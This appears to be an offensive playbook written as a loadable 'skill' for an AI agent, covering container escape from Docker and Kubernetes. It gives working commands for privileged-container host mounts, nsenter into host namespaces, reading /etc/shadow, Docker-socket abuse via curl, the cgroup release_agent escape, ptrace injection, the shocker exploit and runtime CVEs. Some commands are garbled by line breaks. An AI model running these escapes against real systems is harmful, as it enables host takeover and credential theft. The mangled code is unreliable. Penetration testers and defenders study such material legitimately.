- SKILL: Container Escape Techniques — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation. 0. RELATED ROUTING Before going deep, consider loading: linux-privilege-escalation when you first need root inside the container before attempting escape kubernetes-pentesting for K8s-specific attack paths beyond pod escape linux-security-bypass when seccomp/AppArmor blocks your escape technique Advanced Reference Also load DOCKER_ESCAPE_CHAINS.md when you need: Step-by-step escape chains for common misconfigurations Docker-in-Docker escape scenarios Kubernetes-specific escape paths with full command sequences 1. AM I IN A CONTAINER?
Quick checks
cat /proc/1/cgroup 2
/dev/null | grep -qi "docker|kubepods|containerd" ls -la /.dockerenv 2
/dev/null cat /proc/self/mountinfo | grep -i "overlay|docker|kubelet" hostname
random hex = likely container
Detailed check
cat /proc/1/status | head -5
PID 1 is not systemd/init?
mount | grep -i "overlay"
overlay filesystem?
ip addr
veth interface? limited NICs?
Tools for Container Detection
amicontained: shows container runtime, capabilities, seccomp
./amicontained
deepce: Docker enumeration and exploit suggester
./deepce.sh
CDK: all-in-one container pentesting toolkit
./cdk evaluate 2. PRIVILEGED CONTAINER ESCAPE If --privileged flag was used, the container has nearly all host capabilities and device access. 2.1 Mount Host Filesystem
Check if privileged
cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff = fully privileged
Find host disk
fdisk -l 2
/dev/null || lsblk
Usually /dev/sda1 or /dev/vda1
Mount host root
mkdir -p /mnt/host mount /dev/sda1 /mnt/host
Access host filesystem
cat /mnt/host/etc/shadow chroot /mnt/host bash 2.2 nsenter (Enter Host Namespaces)
From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
This gives a shell in the host's namespace context
Effectively a full host shell
2.3 Privileged + Host PID Namespace
If hostPID: true is set (Kubernetes)
Access host processes via /proc
ls /proc/1/root/
Host root filesystem
cat /proc/1/root/etc/shadow
Inject into host process
nsenter --target 1 --mount -- bash 3. CAPABILITY-BASED ESCAPE 3.1 CAP_SYS_ADMIN — Most Versatile
Check capabilities
capsh --print 2
/dev/null grep CapEff /proc/self/status
Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2
/dev/null 3.2 CAP_SYS_PTRACE — Process Injection
Inject shellcode into a host process (requires host PID namespace)
Find a root process
ps aux | grep root
Use gdb or python-ptrace to inject
python3 << 'EOF' import ctypes import ctypes.util libc = ctypes.CDLL(ctypes.util.find_library("c"))
Attach to host process, inject shellcode
... (full inject_shellcode implementation)
EOF 3.3 CAP_NET_ADMIN
Manipulate host network if host network namespace is shared
ARP spoofing, route manipulation, traffic interception
iptables -L
Can see/modify host firewall rules?
ip route
Can modify routing?
3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)
open_by_handle_at() bypass — read files from host
Compile and run the "shocker" exploit
Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker ./shocker /etc/shadow
Read host file
- DOCKER SOCKET ESCAPE (/var/run/docker.sock) ls -la /var/run/docker.sock
Check if mounted
With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \ -X POST http://localhost/containers/create \ -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
- CGROUP V1 RELEASE_AGENT ESCAPE
Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
d
=
$(
dirname
$(
ls
-x
/s/fs/c//r
|
head
-n1
)
)
mkdir
-p
$d
/w
&&
echo
1
$d /w/notify_on_release host_path = $( sed -n 's/.\bperdir=([^,]).*/\1/p' /etc/mtab ) echo " $host_path /cmd"
$d /release_agent cat
/cmd << 'EOF'
!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell EOF chmod +x /cmd sh -c "echo \$\$ > $d /w/cgroup.procs" && sleep 1 cat /output 6. CGROUP V2 / eBPF ESCAPE
Cgroup v2: no release_agent file
Check cgroup version:
mount | grep cgroup
cgroup2 → v2
eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
0 = eBPF available to unprivileged users
- NAMESPACE ESCAPE User Namespace
If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
Now "root" inside new namespace
Combined with other capabilities → mount host filesystem
PID Namespace Escape
If hostPID: true (shared PID namespace with host)
Access host processes directly:
ls /proc/1/root/
Host's root filesystem
cat /proc/1/root/etc/shadow
Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash 8. RUNTIME VULNERABILITIES runc CVE-2019-5736 Overwrites host runc binary when docker exec is used.
Conditions: docker exec into a malicious container triggers exploit
The container's /bin/sh is replaced with exploit binary
When next exec happens → overwrites /usr/bin/runc on host
PoC: modify entrypoint to overwrite runc
This is a one-shot exploit — runc is replaced permanently
containerd CVE-2020-15257
Host network namespace shared + containerd < 1.3.9 / 1.4.3
Abstract Unix socket accessible from container
Connect to containerd shim API via @/containerd-shim/*.sock
cgroups CVE-2022-0492
Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
release_agent writable by unprivileged user in container
- KUBERNETES POD ESCAPE Dangerous Pod Spec Escape hostPID: true nsenter -t 1 -m -u -i -n -p -- bash hostNetwork: true Access node services (Kubelet, etcd) directly hostPath: {path: /} chroot /host bash privileged: true Mount host disk / nsenter SA token with RBAC Create new privileged pod via API See kubernetes-pentesting for full K8s attack paths.
- TOOLS Tool Purpose URL/Command deepce Docker enumeration + exploit suggestions ./deepce.sh CDK Container/K8s exploitation toolkit ./cdk evaluate amicontained Show container runtime, caps, seccomp ./amicontained PEIRATES Kubernetes penetration testing ./peirates BOtB Break out the Box — auto-escape ./botb -autopwn
- CONTAINER ESCAPE DECISION TREE Inside a container? │ ├── Privileged mode? (CapEff = 0000003fffffffff) │ ├── Yes → mount host disk (§2.1) or nsenter (§2.2) │ └── Partial capabilities? Check each: │ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1) │ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2) │ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4) │ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3) │ ├── Docker socket mounted? (/var/run/docker.sock) │ └── Yes → create privileged container (§4) │ ├── Host PID namespace shared? │ └── Yes → nsenter -t 1 or /proc/1/root access (§7) │ ├── Cgroup v1? │ └── + CAP_SYS_ADMIN → release_agent escape (§5) │ ├── Runtime vulnerable? │ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8) │ └── containerd < 1.3.9 → CVE-2020-15257 (§8) │ ├── Kernel vulnerable? │ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation │ ├── Kubernetes pod? │ ├── Service account with elevated RBAC? → create escape pod (§9) │ └── hostPath volume? → access host filesystem │ └── None of the above? ├── Run deepce/CDK for automated detection ├── Check for writable host mount points ├── Enumerate network for other containers/services └── Check /proc/self/mountinfo for interesting mounts